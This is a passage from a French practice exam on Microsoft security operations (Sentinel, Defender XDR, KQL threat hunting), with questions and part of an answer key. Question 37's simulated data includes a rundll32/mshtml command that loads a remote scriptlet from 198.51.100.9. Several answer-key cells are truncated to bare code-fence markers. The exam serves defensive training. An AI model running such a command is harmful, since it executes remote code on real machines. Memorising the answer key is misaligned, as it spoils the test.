**A.** Elle remplace la MFA des administrateurs.

**B.** Elle évalue les vulnérabilités, l'inventaire logiciel, les secrets et les malwares à partir d'instantanés de disques, sans installer ni gérer d'agent et sans impact sur les performances de la VM.

**C.** Elle chiffre automatiquement les disques.

**D.** Elle bloque en temps réel les processus malveillants sur la VM.

### Examen 1 — Question 15 (Répondre aux incidents de sécurité)

Une application malveillante ayant obtenu des autorisations Mail.Read est soupçonnée d'avoir lu des boîtes aux lettres via l'API Microsoft Graph. Quelle source de données permet de voir les requêtes HTTP effectuées vers Graph par cette application ?

**A.** Les journaux d'activité Microsoft Graph (table MicrosoftGraphActivityLogs), envoyés vers Log Analytics par paramètres de diagnostic Entra ID.

**B.** La table Heartbeat.

**C.** La table DeviceNetworkEvents.

**D.** La table Syslog.

### Examen 1 — Question 16 (Effectuer la chasse aux menaces)

**Besoin :** identifier les destinataires d'e-mails classés hameçonnage qui ont cliqué sur une URL du message. Quelle requête de corrélation est correcte ?

**A.**

REQUÊTE KQL

```
EmailUrlInfo
| where Timestamp > ago(7d)
| summarize count() by UrlDomain
```

**B.**

REQUÊTE KQL

```
UrlClickEvents
| where Timestamp > ago(7d)
| where ActionType == "ClickBlocked"
```

**C.**

REQUÊTE KQL

```
EmailEvents
| where Timestamp > ago(7d)
| where ThreatTypes has "Phish"
| join kind=inner (UrlClickEvents) on RecipientEmailAddress
```

**D.**

REQUÊTE KQL

```
EmailEvents
| where Timestamp > ago(7d)
| where ThreatTypes has "Phish"
| project NetworkMessageId, RecipientEmailAddress, SenderFromAddress, Subject
| join kind=inner (
    UrlClickEvents
    | where Timestamp > ago(7d)
    | project NetworkMessageId, AccountUpn, Url, ActionType, IsClickedThrough, ClickTime =
Timestamp
  ) on NetworkMessageId
| where RecipientEmailAddress =~ AccountUpn
| project ClickTime, AccountUpn, SenderFromAddress, Subject, Url, ActionType, IsClickedThrough
```

### Examen 1 — Question 17 (Répondre aux incidents de sécurité)

Deux incidents concernent manifestement la même attaque (même utilisateur et même IP de commande et contrôle), mais n'ont pas été corrélés automatiquement. Que peut faire l'analyste dans le portail Defender ?

**A.** Rien : la corrélation est uniquement automatique.

**B.** Déplacer les alertes de l'un vers l'autre (ou fusionner les incidents manuellement selon l'expérience disponible) afin de centraliser l'investigation.

**C.** Supprimer l'un des incidents.

**D.** Recréer manuellement toutes les alertes dans un nouvel incident.

### Examen 1 — Question 18 (Gérer un environnement d'opérations de sécurité)

Quelle différence fondamentale existe entre l'interruption automatique d'attaque (automatic attack disruption) de Defender XDR et un playbook Sentinel ?

**A.** Les playbooks sont toujours plus rapides car ils s'exécutent sur le terminal.

**B.** L'interruption automatique nécessite d'écrire un playbook Logic Apps pour chaque scénario.

**C.** L'interruption automatique ne concerne que Defender for Cloud.

**D.** L'interruption automatique est une capacité intégrée de Defender XDR qui contient automatiquement des actifs compromis (appareil, utilisateur) lors d'attaques à haute confiance, alors qu'un playbook est un workflow Logic Apps conçu et maintenu par le SOC.

### Examen 1 — Question 19 (Gérer un environnement d'opérations de sécurité)

Vous gérez une liste de 200 serveurs critiques (nom et propriétaire) régulièrement mise à jour par l'équipe infrastructure. Vous voulez augmenter la gravité des détections qui concernent ces serveurs. Quelle approche est la plus adaptée ?

**A.** Importer la liste comme watchlist et l'utiliser dans les requêtes des règles via `_GetWatchlist('alias')`, par exemple pour joindre sur le nom d'hôte et ajuster la gravité.

**B.** Créer 200 règles d'automatisation.

**C.** Placer les serveurs dans un groupe de ressources dédié.

**D.** Saisir les 200 noms en dur dans chaque règle.

## Examen 1 — Question 20 (Gérer un environnement d'opérations de sécurité)

Un MSSP exploite deux espaces Sentinel (« ws-eu » et « ws-us »). Un analyste veut, dans une seule requête KQL, compter les échecs de connexion Entra ID des deux espaces. Quelle approche est correcte ?

**A.** Créer une règle d'automatisation qui copie les incidents d'un espace vers l'autre.

**B.** C'est impossible : une requête KQL ne peut porter que sur un seul espace.

**C.** Utiliser l'opérateur `lookup` en précisant le nom de l'abonnement Azure.

**D.** Utiliser `union` avec la fonction `workspace()` pour interroger la table SigninLogs de chaque espace dans la même requête.

## Examen 1 — Question 21 (Effectuer la chasse aux menaces)

**Besoin :** après une connexion risquée d'un administrateur au portail Azure, lister les opérations du plan de contrôle effectuées depuis la même adresse IP dans les 2 heures. Quelle requête est correcte ?

**A.**

REQUÊTE KQL

```
let Suspectes = SigninLogs
| where TimeGenerated > ago(1d)
| where ResultType == "0" and RiskLevelDuringSignIn in ("medium", "high")
| project ConnexionTime = TimeGenerated, IPAddress, Upn = tolower(UserPrincipalName);
AzureActivity
| where TimeGenerated > ago(1d)
| where ActivityStatusValue == "Success"
| join kind=inner Suspectes on $left.CallerIpAddress == $right.IPAddress
| where TimeGenerated between (ConnexionTime .. ConnexionTime + 2h)
| project TimeGenerated, Caller, CallerIpAddress, OperationNameValue, ResourceGroup, Upn
```

**B.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| where AppDisplayName == "Azure Portal"
```

**C.**

REQUÊTE KQL

```
AzureActivity
| where TimeGenerated > ago(1d)
| summarize count() by OperationNameValue
```

**D.**

REQUÊTE KQL

```
AzureActivity
| where TimeGenerated > ago(1d)
| join kind=inner (SigninLogs) on $left.Caller == $right.AppDisplayName
```

## Examen 1 — Question 22 (Gérer un environnement d'opérations de sécurité)

Les analystes N2 doivent pouvoir lancer manuellement, depuis un incident, un playbook « Bloquer l'utilisateur dans Entra ID », mais ne doivent pas pouvoir modifier la logique du playbook. Quel rôle est le plus adapté, en complément de Microsoft Sentinel Responder ?

**A.** Logic App Contributor.

**B.** Microsoft Sentinel Playbook Operator.

**C.** Contributeur (Contributor) sur l'abonnement.

**D.** Microsoft Sentinel Automation Contributor.

### Examen 1 — Question 23 (Répondre aux incidents de sécurité)

MDI signale « Suspected DCSync attack (replication of directory services) » depuis un poste de travail utilisant le compte d'un administrateur. Pourquoi cette alerte est-elle critique ?

**A.** Elle signale une indisponibilité du contrôleur de domaine.

**B.** Elle indique seulement une synchronisation horaire anormale.

**C.** Elle concerne exclusivement Microsoft Entra Connect et est toujours légitime.

**D.** Un acteur imite un contrôleur de domaine pour demander la réplication des secrets (hachages de mots de passe, dont celui de krbtgt), ce qui permet le vol massif d'identifiants et la création de Golden Tickets.

### Examen 1 — Question 24 (Répondre aux incidents de sécurité)

Un analyste veut voir en un seul écran l'ensemble d'une vague d'hameçonnage coordonnée : messages, URL, expéditeurs, destinataires ayant cliqué, sur plusieurs jours. Quelle fonctionnalité de MDO Plan 2 fournit cette vue ?

**A.** Le rapport d'état de mise à jour des appareils.

**B.** La simulation d'attaques.

**C.** Les vues de campagnes (Campaigns).

**D.** Les stratégies de quarantaine.

### Examen 1 — Question 25 (Gérer un environnement d'opérations de sécurité)

Une alerte de Defender for Cloud se déclenche à chaque test d'intrusion autorisé mené depuis l'adresse IP du prestataire. Comment réduire ce bruit sans masquer les attaques réelles ?

**A.** Supprimer manuellement chaque alerte.

**B.** Désactiver le plan Defender concerné sur l'abonnement.

**C.** Créer une règle de suppression d'alertes limitée au type d'alerte concerné, à l'IP du prestataire et éventuellement à une date d'expiration.

**D.** Ajouter l'IP du prestataire en exclusion antivirus sur toutes les VM.

### Examen 1 — Question 26 (Répondre aux incidents de sécurité)

Une base SQL Server s'exécute sur une VM Azure. Quel plan Defender for Cloud détecte les attaques contre le moteur SQL (injection, force brute SQL) sur cette machine ?

**A.** Defender for Key Vault.

**B.** Defender for App Service.

**C.** Defender for SQL servers on machines (plan Defender for SQL couvrant les serveurs SQL sur machines).

**D.** Defender for Storage.

### Examen 1 — Question 27 (Répondre aux incidents de sécurité)

Une organisation publie des API via Azure API Management et craint des abus (énumération, exfiltration via les API, appels depuis des IP malveillantes). Quel plan Defender for Cloud est conçu pour ce besoin ?

**A.** Defender for Key Vault.

**B.** Defender for APIs.

**C.** Defender for DNS.

**D.** Foundational CSPM uniquement.

### Examen 1 — Question 28 (Gérer un environnement d'opérations de sécurité)

Le SOC veut bénéficier des scores de priorité d'investigation et des pages d'entités enrichies de l'analyse du comportement des utilisateurs et des entités (UEBA). Quelles étapes sont nécessaires ?

**A.** Créer une règle planifiée nommée « UEBA ».

**B.** Activer l'UEBA dans les paramètres de Sentinel, synchroniser l'annuaire (Microsoft Entra ID et éventuellement Active Directory via Defender for Identity) et sélectionner les sources de données (par exemple journaux de connexion, journaux d'audit, Azure Activity, événements de sécurité).

**C.** Installer un agent UEBA sur chaque poste.

**D.** Acheter une licence Defender for Endpoint Plan 2.

### Examen 1 — Question 29 (Gérer un environnement d'opérations de sécurité)

**Scénario E (suite) :** même après ajustement, un vrai positif génère une alerte par exécution PowerShell, créant 15 incidents pour une seule intrusion. **Question :** quel paramètre améliore la lisibilité sans perdre d'information ?

**A.** Le regroupement des alertes en incidents par entités correspondantes (Host et Account) sur une fenêtre de quelques heures.

**B.** Le passage en seuil « plus de 15 résultats ».

**C.** La suppression de la règle pendant 24 heures après la première alerte.

**D.** La réduction de la gravité.

### Examen 1 — Question 30 (Gérer un environnement d'opérations de sécurité)

Pendant deux semaines, un scanner de vulnérabilités autorisé (10.10.5.20) déclenchera la règle « Balayage de ports interne ». Vous voulez fermer automatiquement les incidents correspondants comme « Benign Positive », sans modifier la règle d'analyse, et que ce comportement cesse de lui-même ensuite. Quelle solution choisir ?

**A.** Supprimer les journaux du scanner par une transformation d'ingestion.

**B.** Désactiver la règle d'analyse pendant deux semaines.

**C.** Créer un playbook planifié qui ferme chaque soir tous les incidents ouverts.

**D.** Une règle d'automatisation déclenchée à la création d'un incident, conditionnée à la règle d'analyse concernée et à l'entité IP 10.10.5.20, qui ferme l'incident avec la classification adéquate, et dotée d'une date d'expiration.

### Examen 1 — Question 31 (Répondre aux incidents de sécurité)

Une organisation déploie des applications d'IA générative sur Azure OpenAI / Azure AI. Quelle protection de Defender for Cloud permet de détecter des tentatives d'injection de prompt (jailbreak) ou des fuites de données sensibles via ces applications ?

**A.** Les règles ASR.

**B.** La protection contre les menaces pour les charges de travail d'IA (Defender for AI services).

**C.** Le filtrage de contenu web de MDE.

**D.** Defender for DNS.

## Examen 1 — Question 32 (Effectuer la chasse aux menaces)

**Besoin :** lister, pour chaque incident fermé comme vrai positif le mois dernier, le nom et le produit de ses alertes. Quelle requête est correcte ?

**A.**

REQUÊTE KQL

```
SecurityIncident
| join kind=inner (SecurityAlert) on Title
```

**B.**

REQUÊTE KQL

```
SecurityIncident
| where TimeGenerated > ago(45d)
| summarize arg_max(TimeGenerated, *) by IncidentNumber
| where Status == "Closed" and Classification == "TruePositive"
| mv-expand AlertId = AlertIds to typeof(string)
| join kind=inner (
    SecurityAlert
    | where TimeGenerated > ago(45d)
    | summarize arg_max(TimeGenerated, AlertName, ProductName, AlertSeverity) by SystemAlertId
  ) on $left.AlertId == $right.SystemAlertId
| project IncidentNumber, Title, AlertName, ProductName, AlertSeverity
```

**C.**

REQUÊTE KQL

```
SecurityIncident
| where TimeGenerated > ago(45d)
| join kind=inner (SecurityAlert) on $left.AlertIds == $right.SystemAlertId
```

**D.**

REQUÊTE KQL

```
SecurityAlert
| where TimeGenerated > ago(45d)
| summarize count() by ProductName
```

## Examen 1 — Question 33 (Répondre aux incidents de sécurité)

L'enquête sur un rançongiciel révèle que le premier accès s'est fait par RDP sur un serveur exposé directement sur Internet, avec un compte local au mot de passe faible. Quelle mesure corrige durablement ce vecteur ?

**A.** Désactiver la journalisation des ouvertures de session RDP.

**B.** Changer le port RDP de 3389 à 3390.

**C.** Supprimer l'exposition directe de RDP (accès via VPN/passerelle avec MFA ou accès juste-à-temps), et renforcer/gérer les comptes locaux (LAPS, mots de passe uniques).

**D.** Bloquer les adresses IP de l'attaquant uniquement.

## Examen 1 — Question 34 (Gérer un environnement d'opérations de sécurité)

Le SOC doit créer automatiquement un ticket ServiceNow pour chaque incident de gravité élevée et inscrire le numéro de ticket dans un commentaire de l'incident Sentinel. Quelle solution est la plus adaptée ?

**A.** Exporter manuellement chaque incident en CSV.

**B.** Une règle d'analyse NRT sur la table SecurityIncident.

**C.** Un playbook Logic Apps (déclencheur incident) utilisant le connecteur ServiceNow, lancé par une règle d'automatisation filtrée sur la gravité élevée, qui ajoute ensuite un commentaire à l'incident.

**D.** Un classeur qui exporte les incidents vers ServiceNow.

## Examen 1 — Question 35 (Répondre aux incidents de sécurité)

Le service juridique demande de préserver toutes les données de messagerie et OneDrive de trois utilisateurs impliqués dans un incident, en vue d'une éventuelle procédure. Quelle fonctionnalité utiliser ?

**A.** Une conservation (hold) dans un dossier Microsoft Purview eDiscovery, appliquée aux boîtes aux lettres et sites OneDrive concernés.

**B.** Une exportation manuelle des e-mails en PST par les utilisateurs eux-mêmes.

**C.** Une watchlist Sentinel listant les trois utilisateurs.

**D.** L'isolation de leurs postes avec MDE.

## Examen 1 — Question 36 (Effectuer la chasse aux menaces)

**Besoin :** histogramme horaire des connexions. La requête donne une seule tranche par utilisateur au lieu d'une série horaire. Quelle est l'erreur ?

KQL — REQUÊTE VOLONTAIREMENT ERRONÉE (À CORRIGER)

```
SigninLogs
| where TimeGenerated > ago(1d)
| summarize Connexions = count() by UserPrincipalName, bin(UserPrincipalName, 1h)
```

**A.** Il faut remplacer `1h` par `60m`.

**B.** Il manque `render timechart`.

**C.** `bin()` ne peut pas être utilisé dans `summarize`.

**D.** `bin()` doit s'appliquer à la colonne temporelle : `by UserPrincipalName, bin(TimeGenerated, 1h)`.

## Examen 1 — Question 37 (Effectuer la chasse aux menaces)

**Hypothèse de chasse :** des binaires système sont détournés pour exécuter du script (T1218). Quelle ligne simulée est signalée par la requête ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
let Proc = datatable(DeviceName:string, FileName:string, ProcessCommandLine:string)
[
    "PC-31", "rundll32.exe", "rundll32.exe shell32.dll,Control_RunDLL desk.cpl",
    "PC-44", "rundll32.exe", "rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication
\";document.write();GetObject(\"script:http://198.51.100.9/a.sct\")",
    "PC-12", "mshta.exe",    "mshta.exe C:\\Program Files\\App\\aide.hta"
];
Proc
| where FileName in~ ("rundll32.exe", "mshta.exe", "regsvr32.exe")
| where ProcessCommandLine has_any ("javascript:", "vbscript:", "script:http", "RunHTMLApplication")
| project DeviceName, FileName, ProcessCommandLine
```

**A.** Les trois lignes, car les trois binaires sont des LOLBins.

**B.** La ligne de PC-31 : rundll32 ouvrant un panneau de configuration.

**C.** La ligne de PC-44 : rundll32.exe exécutant du JavaScript via mshtml et chargeant un scriptlet distant.

**D.** La ligne de PC-12 : mshta lançant une aide HTA locale.

## Examen 1 — Question 38 (Effectuer la chasse aux menaces)

**Besoin de détection :** repérer la création d'un compte suivie, dans les 30 minutes, de son ajout à un groupe local (par exemple Administrateurs) sur le même ordinateur. Quelle requête est correcte ?

**A.**

REQUÊTE KQL

```
SecurityEvent
| where TimeGenerated > ago(1d)
| where EventID == 4726
| project TimeGenerated, Computer, TargetUserName
```

**B.**

REQUÊTE KQL

```
SecurityEvent
| where TimeGenerated > ago(1d)
| where EventID in (4720, 4732)
| summarize count() by Computer
```

**C.**

REQUÊTE KQL

```
SecurityEvent
| where TimeGenerated > ago(1d)
| where EventID == 4624
| where LogonType == 2
```

**D.**

REQUÊTE KQL

```
let creations = SecurityEvent
| where TimeGenerated > ago(1d)
| where EventID == 4720
| project CreationTime = TimeGenerated, Computer, CompteCree = TargetUserName, Createur =
SubjectUserName;
let ajouts = SecurityEvent
| where TimeGenerated > ago(1d)
| where EventID == 4732
| project AjoutTime = TimeGenerated, Computer, Groupe = TargetUserName, Membre = MemberName;
creations
| join kind=inner ajouts on Computer
| where AjoutTime between (CreationTime .. CreationTime + 30m)
| where Membre has CompteCree
| project CreationTime, AjoutTime, Computer, CompteCree, Groupe, Createur
```

## Examen 1 — Question 39 (Effectuer la chasse aux menaces)

**Besoin de détection :** identifier les adresses IP qui ont échoué sur au moins 20 comptes différents (code 50126) puis réussi au moins une connexion dans la même journée. Quelle requête est correcte ?

**A.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| summarize ComptesEchec = dcountif(UserPrincipalName, ResultType == "50126"),
            ComptesSucces = make_set_if(UserPrincipalName, ResultType == "0", 50)
            by IPAddress
| where ComptesEchec >= 20 and array_length(ComptesSucces) > 0
```

**B.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| where ResultType == "50053"
```

**C.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| where ResultType == "0"
| summarize dcount(UserPrincipalName) by IPAddress
| where dcount_UserPrincipalName >= 20
```

**D.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| where ResultType == "50126"
| summarize count() by UserPrincipalName
```

## Examen 1 — Question 40 (Gérer un environnement d'opérations de sécurité)

**Scénario J (suite) :** le SOC formalise ses règles pour les playbooks. **Question :** quelles pratiques recommander ? (Sélectionnez deux réponses.)

**Sélectionnez deux réponses.**

**A.** Utiliser des identités managées avec le moindre privilège et journaliser les actions des playbooks (commentaires dans l'incident).

**B.** Donner le rôle Logic App Contributor à tous les analystes N1.

**C.** Partager un compte d'administrateur général dans toutes les connexions des playbooks.

**D.** Désactiver la surveillance de l'intégrité pour réduire les coûts.

**E.** Versionner et déployer les playbooks et règles d'automatisation via un dépôt (Repositories / CI-CD), avec tests sur un environnement de développement.

## Examen 1 — Question 41 (Répondre aux incidents de sécurité)

Un e-mail prétendant provenir de « support@contoso.com » arrive dans la boîte de réception. L'en-tête indique `spf=fail`, `dkim=none`, `dmarc=fail` et un expéditeur d'enveloppe (MAIL FROM) appartenant à un domaine inconnu. Que conclure ?

**A.** DMARC « fail » indique que le message a été chiffré.

**B.** Le message est authentique car l'adresse affichée est correcte.

**C.** Il s'agit très probablement d'une usurpation (spoofing) du domaine contoso.com ; il faut vérifier pourquoi le message a été remis (stratégie DMARC, exceptions ou règles de transport).

**D.** Un échec SPF signifie uniquement que le message est trop volumineux.

## Examen 1 — Question 42 (Gérer un environnement d'opérations de sécurité)

Quelle affirmation décrit correctement la détection Fusion (Advanced Multistage Attack Detection) de Microsoft Sentinel ?

**A.** Elle s'appuie sur l'apprentissage automatique pour corréler des alertes et anomalies de faible fidélité provenant de plusieurs produits en incidents multi-étapes de haute fidélité ; elle est activée par défaut.

**B.** Elle ne fonctionne qu'avec des journaux Syslog.

**C.** C'est une règle planifiée dont l'analyste rédige la requête KQL de corrélation.

**D.** Elle génère une alerte pour chaque échec de connexion.

## Examen 1 — Question 43 (Effectuer la chasse aux menaces)

**Besoin :** identifier les appareils touchés par une CVE critique exploitée (CVE-2024-21412) qui ont aussi déclenché une alerte au cours des 7 derniers jours. Quelle requête est correcte ?

**A.**

REQUÊTE KQL

```
DeviceInfo
| where Timestamp > ago(7d)
| where OSPlatform == "Windows11"
```

**B.**

REQUÊTE KQL

```
DeviceTvmSoftwareVulnerabilities
| where Timestamp > ago(7d)
| where CveId == "CVE-2024-21412"
```

**C.**

REQUÊTE KQL

```
DeviceTvmSoftwareVulnerabilities
| where CveId == "CVE-2024-21412"
| distinct DeviceId, DeviceName, SoftwareName, SoftwareVersion
| join kind=inner (
    AlertEvidence
    | where Timestamp > ago(7d)
    | where EntityType == "Machine"
    | summarize Alertes = make_set(Title, 10) by DeviceId
  ) on DeviceId
```

**D.**

REQUÊTE KQL

```
AlertInfo
| where Timestamp > ago(7d)
| where Title has "CVE-2024-21412"
```

## Examen 1 — Question 44 (Gérer un environnement d'opérations de sécurité)

**Scénario J :** une règle d'automatisation doit lancer le playbook « Notifier-Teams » à la création d'incidents de gravité élevée. Les incidents sont bien créés mais aucun message n'arrive ; l'historique de la Logic App ne montre aucune exécution. **Question :** quelle cause vérifier en premier ?

**A.** Les autorisations du compte de service Microsoft Sentinel (Microsoft Sentinel Automation Contributor) sur le groupe de ressources du playbook, et le type de déclencheur du playbook (incident).

**B.** La rétention de la table SecurityIncident.

**C.** Le Secure Score du locataire.

**D.** Le connecteur Teams de la Logic App.

## Examen 1 — Question 45 (Gérer un environnement d'opérations de sécurité)

Vous souhaitez qu'à chaque alerte Defender for Cloud de gravité élevée, un message soit publié dans Teams et un ticket créé, sans dépendre de Sentinel. Quelle fonctionnalité utiliser ?

**A.** Le tableau de bord de conformité réglementaire.

**B.** L'automatisation des workflows (workflow automation) de Defender for Cloud, qui déclenche une Logic App selon des conditions sur les alertes.

**C.** Les règles d'automatisation de Microsoft Sentinel.

**D.** Les règles de suppression.

## Examen 1 — Question 46 (Répondre aux incidents de sécurité)

Un employé sur le départ est soupçonné d'avoir copié des fichiers sensibles vers son stockage cloud personnel. Quelles sources sont les plus pertinentes ? (Sélectionnez deux réponses.)

**Sélectionnez deux réponses.**

**A.** La table Heartbeat.

**B.** Le journal d'activité Azure.

**C.** Cloud Discovery / Defender for Cloud Apps (applications cloud utilisées et volumes de chargement depuis les postes MDE).

**D.** Les journaux Microsoft 365 (Purview Audit, CloudAppEvents) pour les téléchargements massifs depuis SharePoint/OneDrive avant le transfert.

**E.** Le rapport de santé des capteurs MDI.

## Examen 1 — Question 47 (Effectuer la chasse aux menaces)

**Hypothèse de chasse :** un attaquant masque des réponses de la victime en déplaçant certains messages vers un dossier peu consulté. Quelle règle simulée est signalée ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
let Regles = datatable(TimeGenerated:datetime, UserId:string, Operation:string, Parameters:string)
[
    datetime(2026-10-05T07:10:00Z), "f.garnier@contoso.com", "New-InboxRule",
"Name=Factures;From=compta@fournisseur.fr;MoveToFolder=Factures",
    datetime(2026-10-05T07:12:00Z), "s.lambert@contoso.com", "New-InboxRule",
"Name=..;SubjectContainsWords=virement,facture,RIB;MoveToFolder=RSS Feeds;MarkAsRead=True",
    datetime(2026-10-05T08:00:00Z), "t.noel@contoso.com",    "Set-Mailbox",   "AutoReplyState=Enabled"
];
Regles
| where Operation in ("New-InboxRule", "Set-InboxRule")
| where Parameters has_any ("RSS Feeds", "Conversation History", "DeleteMessage", "MarkAsRead=True")
| project TimeGenerated, UserId, Parameters
```

**A.** La règle de s.lambert : nom « .. », mots-clés financiers, déplacement vers « RSS Feeds » et marquage comme lu.

**B.** La règle de f.garnier : classement des factures d'un fournisseur.

**C.** Les trois opérations.

**D.** L'opération de t.noel : réponse automatique.

## Examen 1 — Question 48 (Gérer un environnement d'opérations de sécurité)

Dans la liste des règles d'analyse, une règle porte désormais le préfixe « AUTO DISABLED ». Quelle est l'explication la plus probable ?

**A.** La règle n'a produit aucune alerte depuis 30 jours.

**B.** La règle a généré plus de 150 alertes en une exécution.

**C.** Un analyste Responder a fermé tous ses incidents comme faux positifs.

**D.** Sentinel a désactivé la règle après des échecs permanents d'exécution (par exemple une table ou une fonction supprimée, ou une perte d'accès à un espace cible).

### Examen 1 — Question 49 (Gérer un environnement d'opérations de sécurité)

Un analyste constate que la chasse avancée Defender XDR ne lui permet de remonter que sur 30 jours dans DeviceProcessEvents. Il doit enquêter sur une compromission vieille de 5 mois. Quelle mesure, à mettre en place en amont, permettait de conserver ces données plus longtemps ?

**A.** Configurer, dans la gestion des tables du portail Defender (Sentinel connecté), une rétention plus longue pour la table XDR concernée, dans le niveau Analytics ou data lake.

**B.** Augmenter le niveau d'automatisation de Defender for Endpoint.

**C.** Activer le mode bloc EDR.

**D.** Créer une règle de détection personnalisée qui s'exécute toutes les 24 heures.

### Examen 1 — Question 50 (Gérer un environnement d'opérations de sécurité)

Un outil d'administration légitime déclenche quotidiennement une alerte MDE « Suspicious PowerShell command line » sur 30 serveurs. Après analyse, il s'agit d'une activité attendue. Quelle solution réduit le bruit sans désactiver la détection pour le reste du parc ?

**A.** Créer une règle d'ajustement des alertes (alert tuning) qui masque ou résout automatiquement les alertes correspondant à des conditions précises (titre, appareils, ligne de commande ou processus parent).

**B.** Désactiver l'antivirus Microsoft Defender sur ces serveurs.

**C.** Ajouter une exclusion antivirus sur powershell.exe pour tout le parc.

**D.** Classer chaque incident comme faux positif manuellement chaque jour.

## Corrigé de l'examen blanc n° 1

Chaque question de cet examen est une reprise d'une question du guide (numéro indiqué) ; les propositions ont été mélangées. Elle n'est pas comptée une seconde fois dans le total des questions uniques.

| N° | Réponse | Justification |
|---|---|---|
| 1 | **D** | « Attack Disruption » = attaque contenue, pas terminée : enquêter, éradiquer, puis lever le confinement.<br>Bonne(s) réponse(s) : Prioriser l'incident, analyser l'histoire de l'attaque, poursuivre l'investigation et la remédiation, puis lever le confinement et réactiver le compte une fois la menace éliminée. — détails : question n° 118 du guide. |
| 2 | **B** | Playbook automatique sur incident = déclencheur « Microsoft Sentinel incident ».<br>Bonne(s) réponse(s) : Le déclencheur Microsoft Sentinel « Microsoft Sentinel incident ». — détails : question n° 53 du guide. |
| 3 | **A** | Alertes Insider Risk : pseudonymisation possible ; coordination RH/juridique.<br>Bonne(s) réponse(s) : Parce que les paramètres de confidentialité d'Insider Risk Management peuvent masquer les noms des utilisateurs pour protéger la vie privée, seuls des rôles autorisés pouvant lever la pseudonymisation. — détails : question n° 172 du guide. |
| 4 | **B** | Détection personnalisée : Timestamp/TimeGenerated + DeviceId + ReportId (tables MDE) ; 150 alertes max par exécution.<br>Bonne(s) réponse(s) : Timestamp (ou TimeGenerated), ainsi que DeviceId et ReportId pour les tables Defender for Endpoint. — détails : question n° 174 du guide. |
| 5 | **D** | union = concaténation ; withsource = colonne du nom de table ; isfuzzy=true tolère les tables manquantes.<br>Bonne(s) réponse(s) : Le nom de la table d'origine de chaque ligne (SigninLogs ou AADNonInteractiveUserSignInLogs). — détails : question n° 192 du guide. |
| 6 | **A** | Mouvement latéral = dcount(cibles) élevé par compte sur une fenêtre courte.<br>Bonne(s) réponse(s) : Le compte j.roux, qui s'est connecté à 5 serveurs différents (dont un contrôleur de domaine) en un peu plus de 2 minutes. — détails : question n° 262 du guide. |

| N° | Réponse | Justification |
|---|---|---|
| 7 | **A** | Règles de transfert malveillantes = OfficeActivity (New-InboxRule/Set-InboxRule, ForwardTo/RedirectTo) ; bloquer le transfert externe par stratégie.<br>**Explication complémentaire :** Le journal d'audit unifié Microsoft 365 (connecteur Office 365 → **OfficeActivity**) enregistre les opérations Exchange comme **New-InboxRule**, **Set-InboxRule** ou **UpdateInboxRules** (Outlook), avec les paramètres (ForwardTo, RedirectTo, ForwardAsAttachmentTo, DeleteMessage...).<br>Bonne(s) réponse(s) : ```kql — détails : question n° 131 du guide. |
| 8 | **B** | Libérer après vérification (AV, chasse IOC, identifiants) puis surveiller de près.<br>Bonne(s) réponse(s) : Vérifier qu'aucune activité malveillante ne persiste (analyse antivirus complète, chasse sur les IOC de l'incident, état de l'enquête automatisée), que les identifiants de l'utilisateur ont été réinitialisés si nécessaire, puis libérer et surveiller. — détails : question n° 331 du guide. |
| 9 | **D** | Quels e-mails l'attaquant a-t-il lus ? = MailItemsAccessed (Bind/Sync), dans Purview Audit / CloudAppEvents.<br>**Explication complémentaire :** **MailItemsAccessed** enregistre l'accès aux messages par les protocoles de messagerie et clients (accès « Bind » à un élément précis, ou « Sync » pour une synchronisation de dossier). Il permet d'évaluer l'étendue d'une violation de données dans une boîte compromise.<br>Bonne(s) réponse(s) : MailItemsAccessed. — détails : question n° 168 du guide. |
| 10 | **A** | Activités SharePoint/OneDrive/Exchange dans Sentinel = OfficeActivity (Operation, OfficeWorkload, OfficeObjectId).<br>Bonne(s) réponse(s) : ```kql — détails : question n° 173 du guide. |
| 11 | **C** | Trouver les appareils non protégés = device discovery (mode standard) via les appareils déjà intégrés.<br>Bonne(s) réponse(s) : La découverte des appareils (device discovery), en mode standard, qui utilise les appareils intégrés à MDE pour sonder et identifier les appareils non gérés. — détails : question n° 99 du guide. |
| 12 | **B** | Logique de référence historique = règle planifiée (lookback ≤ 14 jours) avec entités mappées.<br>**Explication complémentaire :** Une **règle planifiée** permet une logique de **référence** (pays connus sur 14 jours, via une fenêtre de recherche adaptée) et le filtrage sur `DeviceDetail.isCompliant`. Le **mappage d'entités** permet la corrélation et l'automatisation.<br>Bonne(s) réponse(s) : Une règle planifiée (par exemple toutes les heures, avec une référence de 14 jours dans la requête), avec mappage des entités Account et IP et regroupement des alertes par utilisateur. — détails : question n° 420 du guide. |
| 13 | **D** | Conservation longue + accès occasionnel = niveau data lake (jusqu'à 12 ans), interrogé par KQL ou jobs KQL.<br>Bonne(s) réponse(s) : Stocker la table dans le niveau data lake avec une rétention de 7 ans, et utiliser des requêtes KQL ou des jobs KQL lors des investigations. — détails : question n° 26 du guide. |
| 14 | **B** | Sans agent = évaluation par instantanés de disques (vulnérabilités, secrets, malware), sans impact sur la VM.<br>Bonne(s) réponse(s) : Elle évalue les vulnérabilités, l'inventaire logiciel, les secrets et les malwares à partir d'instantanés de disques, sans installer ni gérer d'agent et sans impact sur les performances de la VM. — détails : question n° 363 du guide. |
| 15 | **A** | Ce qu'une app/compte a fait via l'API Graph = MicrosoftGraphActivityLogs (ou GraphApiAuditEvents en chasse avancée).<br>Bonne(s) réponse(s) : Les journaux d'activité Microsoft Graph (table MicrosoftGraphActivityLogs), envoyés vers Log Analytics par paramètres de diagnostic Entra ID. — détails : question n° 170 du guide. |
| 16 | **D** | E-mail ↔ clic = NetworkMessageId (+ RecipientEmailAddress = AccountUpn).<br>Bonne(s) réponse(s) : ```kqlx — détails : question n° 237 du guide. |
| 17 | **B** | Incidents liés non corrélés → déplacer les alertes / fusionner manuellement, avec un commentaire.<br>Bonne(s) réponse(s) : Déplacer les alertes de l'un vers l'autre (ou fusionner les incidents manuellement selon l'expérience disponible) afin de centraliser l'investigation. — détails : question n° 81 du guide. |
